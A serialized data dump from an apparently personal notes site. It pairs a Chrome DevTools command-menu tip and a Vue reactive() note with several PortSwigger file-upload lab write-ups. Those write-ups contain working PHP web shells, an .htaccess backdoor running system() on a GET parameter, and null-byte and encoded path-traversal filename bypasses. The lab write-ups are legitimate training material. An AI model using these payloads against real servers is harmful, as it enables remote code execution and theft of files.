[{"data":1,"prerenderedAt":19937},["ShallowReactive",2],{"page-en-\u002Fnotes\u002Ffrontend\u002Frun-command-chrome-devtools":3,"recent-en":108,"posts-en-frontend":645,"portswigger-en":1085,"portswigger-idx-en":12735,"tools-en-\u002Fnotes\u002Ffrontend\u002Frun-command-chrome-devtools":93,"cheatsheets-en":12776,"related-en-\u002Fnotes\u002Ffrontend\u002Frun-command-chrome-devtools":19677},{"id":4,"title":5,"author":6,"body":7,"date":91,"description":92,"difficulty":93,"extension":94,"image":93,"inProgress":93,"logged":93,"marathonStartDate":93,"meta":95,"navigation":96,"notes":93,"path":97,"psTitle":93,"seo":98,"sitemap":99,"stem":100,"tags":101,"timeSpent":93,"type":106,"__hash__":107},"content_en\u002Fnotes\u002Ffrontend\u002Frun-command-chrome-devtools.md","Run command in Chrome DevTools","apsyleg",{"type":8,"value":9,"toc":86},"minimark",[10,14,18,23,29,46,51,63,68,71,83],[11,12,5],"h1",{"id":13},"run-command-in-chrome-devtools",[15,16,17],"p",{},"Chrome DevTools has a handy interface for quickly invoking various commands. I actively use it to clear cookies or disable JavaScript — very convenient when debugging server-side rendering (SSR). Everything is done via keyboard — fast and efficient.",[19,20,22],"h2",{"id":21},"how-to-use","How to use",[15,24,25],{},[26,27,28],"strong",{},"1. Open DevTools",[30,31,32,40],"ul",{},[33,34,35,36],"li",{},"Windows \u002F Linux: ",[37,38,39],"code",{},"Ctrl + Shift + I",[33,41,42,43],{},"Mac: ",[37,44,45],{},"Cmd + Option + I",[15,47,48],{},[26,49,50],{},"2. Open Run Command",[30,52,53,58],{},[33,54,35,55],{},[37,56,57],{},"Ctrl + Shift + P",[33,59,42,60],{},[37,61,62],{},"Cmd + Shift + P",[15,64,65],{},[26,66,67],{},"3. Find the command and run it",[15,69,70],{},"Useful examples:",[30,72,73,78],{},[33,74,75],{},[37,76,77],{},"Clear site data (including third-party cookies)",[33,79,80],{},[37,81,82],{},"Disable JavaScript",[15,84,85],{},"There are a huge number of commands — it significantly speeds up your workflow.",{"title":87,"searchDepth":88,"depth":88,"links":89},"",2,[90],{"id":21,"depth":88,"text":22},"2024-02-21","How to quickly invoke DevTools commands from the keyboard — clear cookies, disable JS, and much more",null,"md",{},true,"\u002Fnotes\u002Ffrontend\u002Frun-command-chrome-devtools",{"title":5,"description":92},{"loc":97},"notes\u002Ffrontend\u002Frun-command-chrome-devtools",[102,103,104,105],"devtools","chrome","frontend","productivity","note","KdPnIavCIQ-cm1-RMhUjvaAhSCmewvcYr4ofvP4EPOU",[109,272,381,461,559],{"id":110,"title":111,"author":6,"body":112,"date":255,"description":256,"difficulty":257,"extension":94,"image":93,"inProgress":93,"logged":93,"marathonStartDate":93,"meta":258,"navigation":96,"notes":93,"path":259,"psTitle":130,"seo":260,"sitemap":261,"stem":262,"tags":263,"timeSpent":270,"type":106,"__hash__":271},"content_en\u002Fnotes\u002Fpentesting\u002Fportswigger\u002Fweb-shell-upload-via-extension-blacklist-bypass.md","Web Shell Upload via Extension Blacklist Bypass (PortSwigger Lab)",{"type":8,"value":113,"toc":247},[114,118,122,132,136,141,150,154,157,163,170,176,182,185,191,194,201,207,213,219,226,229,235,238,244],[11,115,117],{"id":116},"web-shell-upload-via-extension-blacklist-bypass","Web Shell Upload via Extension Blacklist Bypass",[19,119,121],{"id":120},"lab","Lab",[15,123,124,131],{},[125,126,130],"a",{"href":127,"rel":128},"https:\u002F\u002Fportswigger.net\u002Fweb-security\u002Ffile-upload\u002Flab-file-upload-web-shell-upload-via-extension-blacklist-bypass",[129],"nofollow","Web shell upload via extension blacklist bypass"," · Practitioner",[19,133,135],{"id":134},"solution","Solution",[137,138,140],"h3",{"id":139},"given","Given",[142,143,148],"pre",{"className":144,"code":146,"language":147},[145],"language-text","This lab contains a vulnerable image upload function. Certain file extensions\nare blacklisted, but this defense can be bypassed due to a fundamental\nflaw in the configuration of this blacklist.\n\nTo solve the lab, upload a basic PHP web shell, then use it to exfiltrate\nthe contents of the file \u002Fhome\u002Fcarlos\u002Fsecret. Submit this secret using the\nbutton provided in the lab banner.\n\nYou can log in to your own account using the following credentials: wiener:peter\n","text",[37,149,146],{"__ignoreMap":87},[137,151,153],{"id":152},"analysis-and-recon","Analysis and recon",[15,155,156],{},"Try to upload a PHP shell — server rejects it:",[142,158,161],{"className":159,"code":160,"language":147},[145],"HTTP\u002F2 403 Forbidden\nDate: Wed, 03 Jun 2026 15:51:26 GMT\nServer: Apache\u002F2.4.41 (Ubuntu)\nContent-Type: text\u002Fhtml; charset=UTF-8\nX-Frame-Options: SAMEORIGIN\nContent-Length: 164\n\nSorry, php files are not allowed\nSorry, there was an error uploading your file.\u003Cp>\u003Ca href=\"\u002Fmy-account\" title=\"Return to previous page\">« Back to My Account\u003C\u002Fa>\u003C\u002Fp>\n",[37,162,160],{"__ignoreMap":87},[15,164,165,166,169],{},"The server is Apache. Idea: try to upload an Apache config into the directory, i.e. ",[37,167,168],{},".htaccess",". If server-side validation doesn't handle that case, we can slip our own config in and configure PHP execution for a different file extension, disguising it under an innocuous MIME type.",[15,171,172,173,175],{},"Hop over to PayloadAllTheThings, Upload Insecure Files section, grab the ready-made ",[37,174,168],{}," backdoor:",[142,177,180],{"className":178,"code":179,"language":147},[145],"# htaccess backdoor shell\n# this is relatively stealthy compared to a typical webshell\n\n# overriding deny rule\n# making htaccess accessible from the internet\n# without this you'll get a HTTP 403\n\u003CFiles ~ \"^\\.ht\">\nRequire all granted\nOrder allow,deny\nAllow from all\n\u003C\u002FFiles>\n\n# Make the server treat .htaccess file as .php file\nAddType application\u002Fx-httpd-php .htaccess\n\n# \u003C?php system($_GET['cmd']); ?>\n\n# To execute commands you would navigate to:\n# http:\u002F\u002Fvulnerable.com\u002F.htaccess?cmd=YourCommand\n\n# If system(); isnt working then try other syscalls\n# e.g. passthru(); shell_exec(); etc\n# If you still cant execute syscalls, try bypassing php.ini via htaccess\n",[37,181,179],{"__ignoreMap":87},[15,183,184],{},"It uploads:",[142,186,189],{"className":187,"code":188,"language":147},[145],"HTTP\u002F2 200 OK\nDate: Wed, 03 Jun 2026 16:05:17 GMT\nServer: Apache\u002F2.4.41 (Ubuntu)\nVary: Accept-Encoding\nContent-Type: text\u002Fhtml; charset=UTF-8\nX-Frame-Options: SAMEORIGIN\nContent-Length: 130\n\nThe file avatars\u002F.htaccess has been uploaded.\u003Cp>\u003Ca href=\"\u002Fmy-account\" title=\"Return to previous page\">« Back to My Account\u003C\u002Fa>\u003C\u002Fp>\n",[37,190,188],{"__ignoreMap":87},[15,192,193],{},"But when we hit it, the server returns 500 complaining about the config — this shell doesn't go through.",[15,195,196,197,200],{},"So we drop a stripped-down config — just the line telling Apache to treat ",[37,198,199],{},"shell.bug"," as a PHP script:",[142,202,205],{"className":203,"code":204,"language":147},[145],"# Make the server treat .htaccess file as .php file\nAddType application\u002Fx-httpd-php shell.bug\n",[37,206,204],{"__ignoreMap":87},[15,208,209,210,212],{},"Upload it as ",[37,211,168],{},":",[142,214,217],{"className":215,"code":216,"language":147},[145],"HTTP\u002F2 200 OK\nDate: Thu, 04 Jun 2026 13:47:14 GMT\nServer: Apache\u002F2.4.41 (Ubuntu)\nVary: Accept-Encoding\nContent-Type: text\u002Fhtml; charset=UTF-8\nX-Frame-Options: SAMEORIGIN\nContent-Length: 130\n\nThe file avatars\u002F.htaccess has been uploaded.\u003Cp>\u003Ca href=\"\u002Fmy-account\" title=\"Return to previous page\">« Back to My Account\u003C\u002Fa>\u003C\u002Fp>\n",[37,218,216],{"__ignoreMap":87},[15,220,221,222,225],{},"Uploaded. Check ",[37,223,224],{},"\u002Ffiles\u002Favatars\u002Fshell.bug"," — no luck, it gets served as plain text.",[15,227,228],{},"Maybe this config then:",[142,230,233],{"className":231,"code":232,"language":147},[145],"AddType application\u002Fx-httpd-php \".bug\"\n",[37,234,232],{"__ignoreMap":87},[15,236,237],{},"Worked!",[142,239,242],{"className":240,"code":241,"language":147},[145],"2OdvwFa9GvrtQrVwpJ5f9btIo0GQdiy1\n",[37,243,241],{"__ignoreMap":87},[15,245,246],{},"Lab solved!",{"title":87,"searchDepth":88,"depth":88,"links":248},[249,250],{"id":120,"depth":88,"text":121},{"id":134,"depth":88,"text":135,"children":251},[252,254],{"id":139,"depth":253,"text":140},3,{"id":152,"depth":253,"text":153},"2026-06-04",".php is blacklisted, but .htaccess uploads without complaint — we slip our own Apache config in and make the server execute shell.bug as PHP.","practitioner",{},"\u002Fnotes\u002Fpentesting\u002Fportswigger\u002Fweb-shell-upload-via-extension-blacklist-bypass",{"title":111,"description":256},{"loc":259},"notes\u002Fpentesting\u002Fportswigger\u002Fweb-shell-upload-via-extension-blacklist-bypass",[264,265,266,267,268,269],"portswigger","file-upload","rce","htaccess","apache","web-security","1h","_jSp4DEWuRFf0PefRIpFp8IWKfZZPj_jKm054ghTTjE",{"id":273,"title":274,"author":6,"body":275,"date":255,"description":371,"difficulty":257,"extension":94,"image":93,"inProgress":93,"logged":93,"marathonStartDate":93,"meta":372,"navigation":96,"notes":93,"path":373,"psTitle":289,"seo":374,"sitemap":375,"stem":376,"tags":377,"timeSpent":379,"type":106,"__hash__":380},"content_en\u002Fnotes\u002Fpentesting\u002Fportswigger\u002Fweb-shell-upload-via-obfuscated-file-extension.md","Web Shell Upload via Obfuscated File Extension (PortSwigger Lab)",{"type":8,"value":276,"toc":364},[277,281,283,290,292,294,300,302,305,319,325,331,334,346,352,358,360],[11,278,280],{"id":279},"web-shell-upload-via-obfuscated-file-extension","Web Shell Upload via Obfuscated File Extension",[19,282,121],{"id":120},[15,284,285,131],{},[125,286,289],{"href":287,"rel":288},"https:\u002F\u002Fportswigger.net\u002Fweb-security\u002Ffile-upload\u002Flab-file-upload-web-shell-upload-via-obfuscated-file-extension",[129],"Web shell upload via obfuscated file extension",[19,291,135],{"id":134},[137,293,140],{"id":139},[142,295,298],{"className":296,"code":297,"language":147},[145],"This lab contains a vulnerable image upload function. Certain file extensions\nare blacklisted, but this defense can be bypassed using a classic obfuscation\ntechnique.\n\nTo solve the lab, upload a basic PHP web shell, then use it to exfiltrate the\ncontents of the file \u002Fhome\u002Fcarlos\u002Fsecret. Submit this secret using the button\nprovided in the lab banner.\n\nYou can log in to your own account using the following credentials: wiener:peter\n",[37,299,297],{"__ignoreMap":87},[137,301,153],{"id":152},[15,303,304],{},"Shell is the same:",[142,306,310],{"className":307,"code":308,"language":309,"meta":87,"style":87},"language-php shiki shiki-themes github-light github-dark","\u003C?php echo file_get_contents('\u002Fhome\u002Fcarlos\u002Fsecret'); ?>\n","php",[37,311,312],{"__ignoreMap":87},[313,314,317],"span",{"class":315,"line":316},"line",1,[313,318,308],{},[15,320,321,322,212],{},"Drop ",[37,323,324],{},"shell.php",[142,326,329],{"className":327,"code":328,"language":147},[145],"Sorry, only JPG & PNG files are allowed\nSorry, there was an error uploading your file.\n",[37,330,328],{"__ignoreMap":87},[15,332,333],{},"So we have to convince the server it's a JPG or PNG. Let's go through the options.",[335,336,337,343],"ol",{},[33,338,339,342],{},[37,340,341],{},"shell.php.jpg"," — uploaded, but it's served as an image, didn't work.",[33,344,345],{},"The null byte trick did:",[142,347,350],{"className":348,"code":349,"language":147},[145],"Content-Disposition: form-data; name=\"avatar\"; filename=\"shell1.php%00.jpg\"\nContent-Type: application\u002Fx-php\n",[37,351,349],{"__ignoreMap":87},[142,353,356],{"className":354,"code":355,"language":147},[145],"Re4kTtunnIZsPQSV4FFhRmyNL6FO0gos\n",[37,357,355],{"__ignoreMap":87},[15,359,246],{},[361,362,363],"style",{},"html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}",{"title":87,"searchDepth":88,"depth":88,"links":365},[366,367],{"id":120,"depth":88,"text":121},{"id":134,"depth":88,"text":135,"children":368},[369,370],{"id":139,"depth":253,"text":140},{"id":152,"depth":253,"text":153},"Extension blacklist rejects .php and a double-extension shell.php.jpg is served as an image — a null byte in shell.php%00.jpg bypasses both checks.",{},"\u002Fnotes\u002Fpentesting\u002Fportswigger\u002Fweb-shell-upload-via-obfuscated-file-extension",{"title":274,"description":371},{"loc":373},"notes\u002Fpentesting\u002Fportswigger\u002Fweb-shell-upload-via-obfuscated-file-extension",[264,265,266,378,269],"null-byte","40m","j0EMEeDZQewKwV74am43xP2pBSpYPl_wsvfngOaKqvo",{"id":382,"title":383,"author":6,"body":384,"date":450,"description":451,"difficulty":452,"extension":94,"image":93,"inProgress":93,"logged":93,"marathonStartDate":93,"meta":453,"navigation":96,"notes":93,"path":454,"psTitle":398,"seo":455,"sitemap":456,"stem":457,"tags":458,"timeSpent":459,"type":106,"__hash__":460},"content_en\u002Fnotes\u002Fpentesting\u002Fportswigger\u002Fremote-code-execution-via-web-shell-upload.md","Remote Code Execution via Web Shell Upload (PortSwigger Lab)",{"type":8,"value":385,"toc":443},[386,390,392,400,402,404,410,412,415,423,426,433,439,441],[11,387,389],{"id":388},"remote-code-execution-via-web-shell-upload","Remote Code Execution via Web Shell Upload",[19,391,121],{"id":120},[15,393,394,399],{},[125,395,398],{"href":396,"rel":397},"https:\u002F\u002Fportswigger.net\u002Fweb-security\u002Ffile-upload\u002Flab-file-upload-remote-code-execution-via-web-shell-upload",[129],"Remote code execution via web shell upload"," · Apprentice",[19,401,135],{"id":134},[137,403,140],{"id":139},[142,405,408],{"className":406,"code":407,"language":147},[145],"This lab contains a vulnerable image upload function. It doesn't perform any\nvalidation on the files users upload before storing them on the server's filesystem.\n\nTo solve the lab, upload a basic PHP web shell and use it to exfiltrate the\ncontents of the file \u002Fhome\u002Fcarlos\u002Fsecret. Submit this secret using the button\nprovided in the lab banner.\n\nYou can log in to your own account using the following credentials: wiener:peter\n",[37,409,407],{"__ignoreMap":87},[137,411,153],{"id":152},[15,413,414],{},"Straightforward — upload a shell and call it in the browser.",[142,416,417],{"className":307,"code":308,"language":309,"meta":87,"style":87},[37,418,419],{"__ignoreMap":87},[313,420,421],{"class":315,"line":316},[313,422,308],{},[15,424,425],{},"Log in, upload the shell.",[15,427,428,429,432],{},"Open ",[37,430,431],{},"\u002Ffiles\u002Favatars\u002Fshell.php"," in the browser.",[142,434,437],{"className":435,"code":436,"language":147},[145],"1bfoduHLVPomAxIanAVE6dzD1ulBhDVk\n",[37,438,436],{"__ignoreMap":87},[15,440,246],{},[361,442,363],{},{"title":87,"searchDepth":88,"depth":88,"links":444},[445,446],{"id":120,"depth":88,"text":121},{"id":134,"depth":88,"text":135,"children":447},[448,449],{"id":139,"depth":253,"text":140},{"id":152,"depth":253,"text":153},"2026-06-03","Avatar upload has no validation — drop a PHP web shell and read \u002Fhome\u002Fcarlos\u002Fsecret.","apprentice",{},"\u002Fnotes\u002Fpentesting\u002Fportswigger\u002Fremote-code-execution-via-web-shell-upload",{"title":383,"description":451},{"loc":454},"notes\u002Fpentesting\u002Fportswigger\u002Fremote-code-execution-via-web-shell-upload",[264,265,266,269],"20m","112Z9xhj4VbEMJPr4zk5HjS2-hunSIvOPydiZNPEVOI",{"id":462,"title":463,"author":6,"body":464,"date":450,"description":551,"difficulty":452,"extension":94,"image":93,"inProgress":93,"logged":93,"marathonStartDate":93,"meta":552,"navigation":96,"notes":93,"path":553,"psTitle":478,"seo":554,"sitemap":555,"stem":556,"tags":557,"timeSpent":459,"type":106,"__hash__":558},"content_en\u002Fnotes\u002Fpentesting\u002Fportswigger\u002Fweb-shell-upload-via-content-type-restriction-bypass.md","Web Shell Upload via Content-Type Restriction Bypass (PortSwigger Lab)",{"type":8,"value":465,"toc":544},[466,470,472,479,481,483,489,491,498,501,509,512,518,525,528,534,540,542],[11,467,469],{"id":468},"web-shell-upload-via-content-type-restriction-bypass","Web Shell Upload via Content-Type Restriction Bypass",[19,471,121],{"id":120},[15,473,474,399],{},[125,475,478],{"href":476,"rel":477},"https:\u002F\u002Fportswigger.net\u002Fweb-security\u002Ffile-upload\u002Flab-file-upload-web-shell-upload-via-content-type-restriction-bypass",[129],"Web shell upload via Content-Type restriction bypass",[19,480,135],{"id":134},[137,482,140],{"id":139},[142,484,487],{"className":485,"code":486,"language":147},[145],"This lab contains a vulnerable image upload function. It attempts to prevent users\nfrom uploading unexpected file types, but relies on checking user-controllable\ninput to verify this.\n\nTo solve the lab, upload a basic PHP web shell and use it to exfiltrate the\ncontents of the file \u002Fhome\u002Fcarlos\u002Fsecret. Submit this secret using the button\nprovided in the lab banner.\n\nYou can log in to your own account using the following credentials: wiener:peter\n",[37,488,486],{"__ignoreMap":87},[137,490,153],{"id":152},[15,492,493,494,497],{},"The server seems to only look at the ",[37,495,496],{},"Content-Type"," header and doesn't check the actual file format or extension. So we'll find the request, send the shell, then probe in Repeater.",[15,499,500],{},"Same shell:",[142,502,503],{"className":307,"code":308,"language":309,"meta":87,"style":87},[37,504,505],{"__ignoreMap":87},[313,506,507],{"class":315,"line":316},[313,508,308],{},[15,510,511],{},"Server response:",[142,513,516],{"className":514,"code":515,"language":147},[145],"Sorry, file type application\u002Fx-php is not allowed\nOnly image\u002Fjpeg and image\u002Fpng are allowed\nSorry, there was an error uploading your file.\n",[37,517,515],{"__ignoreMap":87},[15,519,520,521,524],{},"Okay, let's try one of the allowed ones :) Worked with ",[37,522,523],{},"image\u002Fjpeg",".",[15,526,527],{},"Trigger the shell:",[142,529,532],{"className":530,"code":531,"language":147},[145],"https:\u002F\u002F0afc00240467710b80c4f3e900760037.web-security-academy.net\u002Ffiles\u002Favatars\u002Fshell.php\n",[37,533,531],{"__ignoreMap":87},[142,535,538],{"className":536,"code":537,"language":147},[145],"nwBgzpEyfEbf0QPqvGNb4sCrrAyLNvmC\n",[37,539,537],{"__ignoreMap":87},[15,541,246],{},[361,543,363],{},{"title":87,"searchDepth":88,"depth":88,"links":545},[546,547],{"id":120,"depth":88,"text":121},{"id":134,"depth":88,"text":135,"children":548},[549,550],{"id":139,"depth":253,"text":140},{"id":152,"depth":253,"text":153},"The server only checks the Content-Type header — flip it to image\u002Fjpeg and the PHP shell sails through.",{},"\u002Fnotes\u002Fpentesting\u002Fportswigger\u002Fweb-shell-upload-via-content-type-restriction-bypass",{"title":463,"description":551},{"loc":553},"notes\u002Fpentesting\u002Fportswigger\u002Fweb-shell-upload-via-content-type-restriction-bypass",[264,265,266,269],"AMbov7E9OWwJdtqAZEW54Ad0BHWoI8g-f4rl9wX7OAQ",{"id":560,"title":561,"author":6,"body":562,"date":450,"description":636,"difficulty":452,"extension":94,"image":93,"inProgress":93,"logged":93,"marathonStartDate":93,"meta":637,"navigation":96,"notes":93,"path":638,"psTitle":576,"seo":639,"sitemap":640,"stem":641,"tags":642,"timeSpent":459,"type":106,"__hash__":644},"content_en\u002Fnotes\u002Fpentesting\u002Fportswigger\u002Fweb-shell-upload-via-path-traversal.md","Web Shell Upload via Path Traversal (PortSwigger Lab)",{"type":8,"value":563,"toc":629},[564,568,570,577,579,581,587,589,592,595,598,604,607,613,619,621,627],[11,565,567],{"id":566},"web-shell-upload-via-path-traversal","Web Shell Upload via Path Traversal",[19,569,121],{"id":120},[15,571,572,399],{},[125,573,576],{"href":574,"rel":575},"https:\u002F\u002Fportswigger.net\u002Fweb-security\u002Ffile-upload\u002Flab-file-upload-web-shell-upload-via-path-traversal",[129],"Web shell upload via path traversal",[19,578,135],{"id":134},[137,580,140],{"id":139},[142,582,585],{"className":583,"code":584,"language":147},[145],"This lab contains a vulnerable image upload function. The server is configured\nto prevent execution of user-supplied files, but this restriction can be\nbypassed by exploiting a secondary vulnerability.\n\nTo solve the lab, upload a basic PHP web shell and use it to exfiltrate the\ncontents of the file \u002Fhome\u002Fcarlos\u002Fsecret. Submit this secret using the button\nprovided in the lab banner.\n\nYou can log in to your own account using the following credentials: wiener:peter\n",[37,586,584],{"__ignoreMap":87},[137,588,153],{"id":152},[15,590,591],{},"Same idea as the previous lab. This time we need path traversal techniques to push the file into a directory where our shell will actually execute.",[15,593,594],{},"Upload a file via the site. Uploaded — open it, and it just shows up as plain text.",[15,596,597],{},"Okay, let's try uploading one level up:",[142,599,602],{"className":600,"code":601,"language":147},[145],"Content-Disposition: form-data; name=\"avatar\"; filename=\"..\u002Fshell.php\"\n",[37,603,601],{"__ignoreMap":87},[15,605,606],{},"Server says it went to the previous location anyway. Right, let's try encoding:",[142,608,611],{"className":609,"code":610,"language":147},[145],"Content-Disposition: form-data; name=\"avatar\"; filename=\"%2e%2e%2fshell.php\"\n",[37,612,610],{"__ignoreMap":87},[142,614,617],{"className":615,"code":616,"language":147},[145],"The file avatars\u002F..\u002Fshell.php has been uploaded\n",[37,618,616],{"__ignoreMap":87},[15,620,237],{},[142,622,625],{"className":623,"code":624,"language":147},[145],"FU2yHUj75eKOuqf4Zp5L9CLf6N96aTDH\n",[37,626,624],{"__ignoreMap":87},[15,628,246],{},{"title":87,"searchDepth":88,"depth":88,"links":630},[631,632],{"id":120,"depth":88,"text":121},{"id":134,"depth":88,"text":135,"children":633},[634,635],{"id":139,"depth":253,"text":140},{"id":152,"depth":253,"text":153},"Filename with `..\u002F` gets stripped, but URL-encoded `%2e%2e%2fshell.php` slips through — climb out of \u002Favatars into a directory where PHP actually executes.",{},"\u002Fnotes\u002Fpentesting\u002Fportswigger\u002Fweb-shell-upload-via-path-traversal",{"title":561,"description":636},{"loc":638},"notes\u002Fpentesting\u002Fportswigger\u002Fweb-shell-upload-via-path-traversal",[264,265,266,643,269],"path-traversal","IqXRU4dtZnrLL4GxmqPqhcQTNR2fBurVS_uK4jG6YXs",[646,708,1034],{"id":4,"title":5,"author":6,"body":647,"date":91,"description":92,"difficulty":93,"extension":94,"image":93,"inProgress":93,"logged":93,"marathonStartDate":93,"meta":704,"navigation":96,"notes":93,"path":97,"psTitle":93,"seo":705,"sitemap":706,"stem":100,"tags":707,"timeSpent":93,"type":106,"__hash__":107},{"type":8,"value":648,"toc":701},[649,651,653,655,659,669,673,683,687,689,699],[11,650,5],{"id":13},[15,652,17],{},[19,654,22],{"id":21},[15,656,657],{},[26,658,28],{},[30,660,661,665],{},[33,662,35,663],{},[37,664,39],{},[33,666,42,667],{},[37,668,45],{},[15,670,671],{},[26,672,50],{},[30,674,675,679],{},[33,676,35,677],{},[37,678,57],{},[33,680,42,681],{},[37,682,62],{},[15,684,685],{},[26,686,67],{},[15,688,70],{},[30,690,691,695],{},[33,692,693],{},[37,694,77],{},[33,696,697],{},[37,698,82],{},[15,700,85],{},{"title":87,"searchDepth":88,"depth":88,"links":702},[703],{"id":21,"depth":88,"text":22},{},{"title":5,"description":92},{"loc":97},[102,103,104,105],{"id":709,"title":710,"author":6,"body":711,"date":1023,"description":1024,"difficulty":93,"extension":94,"image":93,"inProgress":93,"logged":93,"marathonStartDate":93,"meta":1025,"navigation":96,"notes":93,"path":1026,"psTitle":93,"seo":1027,"sitemap":1028,"stem":1029,"tags":1030,"timeSpent":93,"type":106,"__hash__":1033},"content_en\u002Fnotes\u002Ffrontend\u002Fcreate-component-state-like-options-api-using-reactive.md","Creating component state like Options API using reactive()",{"type":8,"value":712,"toc":1021},[713,716,726,737,1018],[11,714,710],{"id":715},"creating-component-state-like-options-api-using-reactive",[15,717,718,719,722,723,524],{},"In Options API we can use ",[37,720,721],{},"data()"," function to create a state for the component, then access it directly via ",[37,724,725],{},"this",[15,727,728,729,732,733,736],{},"Using ",[37,730,731],{},"reactive()"," from Composition API achieves the same pattern — much easier than using ",[37,734,735],{},"ref()"," for multiple state properties.",[142,738,742],{"className":739,"code":740,"language":741,"meta":87,"style":87},"language-vue shiki shiki-themes github-light github-dark","\u003Cscript>\nimport { computed, reactive, toRefs } from 'vue'\n\nexport default {\n  setup() {\n    const state = reactive({\n      price: 2,\n      quantity: 5\n    })\n\n    const total = computed(() => {\n      return state.price * state.quantity\n    })\n\n    return {\n      ...toRefs(state),\n      total\n    }\n  }\n}\n\u003C\u002Fscript>\n\n\u003Ctemplate>\n  \u003Cp>Price: {{ price }}\u003C\u002Fp>\n  \u003Cp>Quantity: {{ quantity }}\u003C\u002Fp>\n  \u003Cp>Total: {{ total }}\u003C\u002Fp>\n\u003C\u002Ftemplate>\n","vue",[37,743,744,757,773,778,790,800,819,831,840,846,851,872,887,892,897,905,917,923,929,935,941,951,956,966,981,995,1009],{"__ignoreMap":87},[313,745,746,750,754],{"class":315,"line":316},[313,747,749],{"class":748},"sVt8B","\u003C",[313,751,753],{"class":752},"s9eBZ","script",[313,755,756],{"class":748},">\n",[313,758,759,763,766,769],{"class":315,"line":88},[313,760,762],{"class":761},"szBVR","import",[313,764,765],{"class":748}," { computed, reactive, toRefs } ",[313,767,768],{"class":761},"from",[313,770,772],{"class":771},"sZZnC"," 'vue'\n",[313,774,775],{"class":315,"line":253},[313,776,777],{"emptyLinePlaceholder":96},"\n",[313,779,781,784,787],{"class":315,"line":780},4,[313,782,783],{"class":761},"export",[313,785,786],{"class":761}," default",[313,788,789],{"class":748}," {\n",[313,791,793,797],{"class":315,"line":792},5,[313,794,796],{"class":795},"sScJk","  setup",[313,798,799],{"class":748},"() {\n",[313,801,803,806,810,813,816],{"class":315,"line":802},6,[313,804,805],{"class":761},"    const",[313,807,809],{"class":808},"sj4cs"," state",[313,811,812],{"class":761}," =",[313,814,815],{"class":795}," reactive",[313,817,818],{"class":748},"({\n",[313,820,822,825,828],{"class":315,"line":821},7,[313,823,824],{"class":748},"      price: ",[313,826,827],{"class":808},"2",[313,829,830],{"class":748},",\n",[313,832,834,837],{"class":315,"line":833},8,[313,835,836],{"class":748},"      quantity: ",[313,838,839],{"class":808},"5\n",[313,841,843],{"class":315,"line":842},9,[313,844,845],{"class":748},"    })\n",[313,847,849],{"class":315,"line":848},10,[313,850,777],{"emptyLinePlaceholder":96},[313,852,854,856,859,861,864,867,870],{"class":315,"line":853},11,[313,855,805],{"class":761},[313,857,858],{"class":808}," total",[313,860,812],{"class":761},[313,862,863],{"class":795}," computed",[313,865,866],{"class":748},"(() ",[313,868,869],{"class":761},"=>",[313,871,789],{"class":748},[313,873,875,878,881,884],{"class":315,"line":874},12,[313,876,877],{"class":761},"      return",[313,879,880],{"class":748}," state.price ",[313,882,883],{"class":761},"*",[313,885,886],{"class":748}," state.quantity\n",[313,888,890],{"class":315,"line":889},13,[313,891,845],{"class":748},[313,893,895],{"class":315,"line":894},14,[313,896,777],{"emptyLinePlaceholder":96},[313,898,900,903],{"class":315,"line":899},15,[313,901,902],{"class":761},"    return",[313,904,789],{"class":748},[313,906,908,911,914],{"class":315,"line":907},16,[313,909,910],{"class":761},"      ...",[313,912,913],{"class":795},"toRefs",[313,915,916],{"class":748},"(state),\n",[313,918,920],{"class":315,"line":919},17,[313,921,922],{"class":748},"      total\n",[313,924,926],{"class":315,"line":925},18,[313,927,928],{"class":748},"    }\n",[313,930,932],{"class":315,"line":931},19,[313,933,934],{"class":748},"  }\n",[313,936,938],{"class":315,"line":937},20,[313,939,940],{"class":748},"}\n",[313,942,944,947,949],{"class":315,"line":943},21,[313,945,946],{"class":748},"\u003C\u002F",[313,948,753],{"class":752},[313,950,756],{"class":748},[313,952,954],{"class":315,"line":953},22,[313,955,777],{"emptyLinePlaceholder":96},[313,957,959,961,964],{"class":315,"line":958},23,[313,960,749],{"class":748},[313,962,963],{"class":752},"template",[313,965,756],{"class":748},[313,967,969,972,974,977,979],{"class":315,"line":968},24,[313,970,971],{"class":748},"  \u003C",[313,973,15],{"class":752},[313,975,976],{"class":748},">Price: {{ price }}\u003C\u002F",[313,978,15],{"class":752},[313,980,756],{"class":748},[313,982,984,986,988,991,993],{"class":315,"line":983},25,[313,985,971],{"class":748},[313,987,15],{"class":752},[313,989,990],{"class":748},">Quantity: {{ quantity }}\u003C\u002F",[313,992,15],{"class":752},[313,994,756],{"class":748},[313,996,998,1000,1002,1005,1007],{"class":315,"line":997},26,[313,999,971],{"class":748},[313,1001,15],{"class":752},[313,1003,1004],{"class":748},">Total: {{ total }}\u003C\u002F",[313,1006,15],{"class":752},[313,1008,756],{"class":748},[313,1010,1012,1014,1016],{"class":315,"line":1011},27,[313,1013,946],{"class":748},[313,1015,963],{"class":752},[313,1017,756],{"class":748},[361,1019,1020],{},"html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .s9eBZ, html code.shiki .s9eBZ{--shiki-default:#22863A;--shiki-dark:#85E89D}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: 